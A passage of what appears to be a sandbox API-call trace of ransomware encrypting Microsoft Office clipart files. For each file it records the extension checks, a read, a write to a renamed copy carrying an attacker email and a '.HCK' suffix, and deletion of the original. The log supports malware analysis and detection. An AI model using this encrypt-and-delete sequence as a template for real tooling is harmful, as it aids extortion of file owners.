(lpString=".xlsx") returned 5 [0155.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0155.645] lstrlenW (lpString=".ppt") returned 4 [0155.645] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0155.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0155.645] lstrlenW (lpString=".zip") returned 4 [0155.645] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0155.645] lstrlenW (lpString=".rar") returned 4 [0155.645] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0155.645] lstrlenW (lpString=".bz2") returned 4 [0155.645] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0155.645] lstrlenW (lpString=".7z") returned 3 [0155.645] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0155.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0155.645] lstrlenW (lpString=".dbf") returned 4 [0155.645] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0155.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0155.645] lstrlenW (lpString=".1cd") returned 4 [0155.645] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0155.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0155.645] lstrlenW (lpString=".jpg") returned 4 [0155.646] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0155.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0155.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0155.646] lstrlenW (lpString=".doc") returned 4 [0155.646] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0155.646] lstrlenW (lpString=".docx") returned 5 [0155.646] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0155.646] lstrlenW (lpString=".pdf") returned 4 [0155.646] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0155.646] lstrlenW (lpString=".xls") returned 4 [0155.646] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0155.646] lstrlenW (lpString=".xlsx") returned 5 [0155.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0155.646] lstrlenW (lpString=".ppt") returned 4 [0155.646] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0155.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0155.646] lstrlenW (lpString=".zip") returned 4 [0155.646] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0155.646] lstrlenW (lpString=".rar") returned 4 [0155.646] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0155.646] lstrlenW (lpString=".bz2") returned 4 [0155.646] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0155.646] lstrlenW (lpString=".7z") returned 3 [0155.646] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0155.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0155.646] lstrlenW (lpString=".dbf") returned 4 [0155.646] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0155.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0155.646] lstrlenW (lpString=".1cd") returned 4 [0155.646] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0155.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0155.646] lstrlenW (lpString=".jpg") returned 4 [0155.646] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0155.646] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.646] lstrlenW (lpString="BD19695_.WMF") returned 12 [0155.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.647] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=12982) returned 1 [0155.647] CloseHandle (hObject=0x30c) returned 1 [0155.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x220 [0155.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.647] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.647] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0155.648] GetLastError () returned 0x0 [0155.648] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x32b6, lpOverlapped=0x0) returned 1 [0156.030] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x32c0, lpOverlapped=0x0) returned 1 [0156.030] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.030] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0156.031] SetEndOfFile (hFile=0x2f0) returned 1 [0156.310] CloseHandle (hObject=0x2f0) returned 1 [0156.335] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.338] SetEndOfFile (hFile=0x30c) returned 1 [0156.354] CloseHandle (hObject=0x30c) returned 1 [0156.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0156.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0156.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0156.382] lstrlenW (lpString=".doc") returned 4 [0156.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.382] lstrlenW (lpString=".docx") returned 5 [0156.382] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.382] lstrlenW (lpString=".pdf") returned 4 [0156.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.382] lstrlenW (lpString=".xls") returned 4 [0156.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.382] lstrlenW (lpString=".xlsx") returned 5 [0156.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.382] lstrlenW (lpString=".ppt") returned 4 [0156.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0156.382] lstrlenW (lpString=".zip") returned 4 [0156.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.383] lstrlenW (lpString=".rar") returned 4 [0156.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.383] lstrlenW (lpString=".bz2") returned 4 [0156.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.383] lstrlenW (lpString=".7z") returned 3 [0156.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0156.383] lstrlenW (lpString=".dbf") returned 4 [0156.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0156.383] lstrlenW (lpString=".1cd") returned 4 [0156.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0156.383] lstrlenW (lpString=".jpg") returned 4 [0156.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0156.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0156.383] lstrlenW (lpString=".doc") returned 4 [0156.383] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.383] lstrlenW (lpString=".docx") returned 5 [0156.383] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.383] lstrlenW (lpString=".pdf") returned 4 [0156.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.383] lstrlenW (lpString=".xls") returned 4 [0156.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.383] lstrlenW (lpString=".xlsx") returned 5 [0156.383] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.383] lstrlenW (lpString=".ppt") returned 4 [0156.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0156.383] lstrlenW (lpString=".zip") returned 4 [0156.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.383] lstrlenW (lpString=".rar") returned 4 [0156.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.383] lstrlenW (lpString=".bz2") returned 4 [0156.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.383] lstrlenW (lpString=".7z") returned 3 [0156.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0156.383] lstrlenW (lpString=".dbf") returned 4 [0156.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0156.384] lstrlenW (lpString=".1cd") returned 4 [0156.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0156.384] lstrlenW (lpString=".jpg") returned 4 [0156.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.384] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.384] lstrlenW (lpString="BL00525_.WMF") returned 12 [0156.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0156.384] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=9590) returned 1 [0156.384] CloseHandle (hObject=0x30c) returned 1 [0156.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x220 [0156.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0156.384] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.384] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0156.385] GetLastError () returned 0x0 [0156.385] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2576, lpOverlapped=0x0) returned 1 [0156.386] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2580, lpOverlapped=0x0) returned 1 [0156.387] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.387] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0156.387] SetEndOfFile (hFile=0x2f0) returned 1 [0156.387] CloseHandle (hObject=0x2f0) returned 1 [0156.388] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.388] SetEndOfFile (hFile=0x30c) returned 1 [0156.389] CloseHandle (hObject=0x30c) returned 1 [0156.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0156.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0156.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0156.390] lstrlenW (lpString=".doc") returned 4 [0156.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.390] lstrlenW (lpString=".docx") returned 5 [0156.390] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.390] lstrlenW (lpString=".pdf") returned 4 [0156.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.390] lstrlenW (lpString=".xls") returned 4 [0156.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.390] lstrlenW (lpString=".xlsx") returned 5 [0156.390] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.390] lstrlenW (lpString=".ppt") returned 4 [0156.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0156.390] lstrlenW (lpString=".zip") returned 4 [0156.390] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.390] lstrlenW (lpString=".rar") returned 4 [0156.390] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.390] lstrlenW (lpString=".bz2") returned 4 [0156.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.390] lstrlenW (lpString=".7z") returned 3 [0156.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0156.390] lstrlenW (lpString=".dbf") returned 4 [0156.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0156.390] lstrlenW (lpString=".1cd") returned 4 [0156.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0156.390] lstrlenW (lpString=".jpg") returned 4 [0156.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0156.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0156.390] lstrlenW (lpString=".doc") returned 4 [0156.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.390] lstrlenW (lpString=".docx") returned 5 [0156.390] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.390] lstrlenW (lpString=".pdf") returned 4 [0156.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.390] lstrlenW (lpString=".xls") returned 4 [0156.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.390] lstrlenW (lpString=".xlsx") returned 5 [0156.390] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.390] lstrlenW (lpString=".ppt") returned 4 [0156.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0156.390] lstrlenW (lpString=".zip") returned 4 [0156.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.391] lstrlenW (lpString=".rar") returned 4 [0156.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.391] lstrlenW (lpString=".bz2") returned 4 [0156.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.391] lstrlenW (lpString=".7z") returned 3 [0156.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0156.391] lstrlenW (lpString=".dbf") returned 4 [0156.391] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0156.391] lstrlenW (lpString=".1cd") returned 4 [0156.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0156.391] lstrlenW (lpString=".jpg") returned 4 [0156.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.391] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.391] lstrlenW (lpString="BL00526_.WMF") returned 12 [0156.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0156.392] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=27552) returned 1 [0156.392] CloseHandle (hObject=0x30c) returned 1 [0156.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x220 [0156.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0156.392] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.392] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0156.392] GetLastError () returned 0x0 [0156.392] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x6ba0, lpOverlapped=0x0) returned 1 [0156.394] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x6bb0, lpOverlapped=0x0) returned 1 [0156.395] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.395] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0156.395] SetEndOfFile (hFile=0x2f0) returned 1 [0156.395] CloseHandle (hObject=0x2f0) returned 1 [0156.396] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.396] SetEndOfFile (hFile=0x30c) returned 1 [0156.397] CloseHandle (hObject=0x30c) returned 1 [0156.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.397] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0156.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0156.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0156.398] lstrlenW (lpString=".doc") returned 4 [0156.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.398] lstrlenW (lpString=".docx") returned 5 [0156.398] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.398] lstrlenW (lpString=".pdf") returned 4 [0156.398] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.398] lstrlenW (lpString=".xls") returned 4 [0156.398] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.398] lstrlenW (lpString=".xlsx") returned 5 [0156.398] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.398] lstrlenW (lpString=".ppt") returned 4 [0156.398] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.398] lstrlenW (lpString="C:\\Program 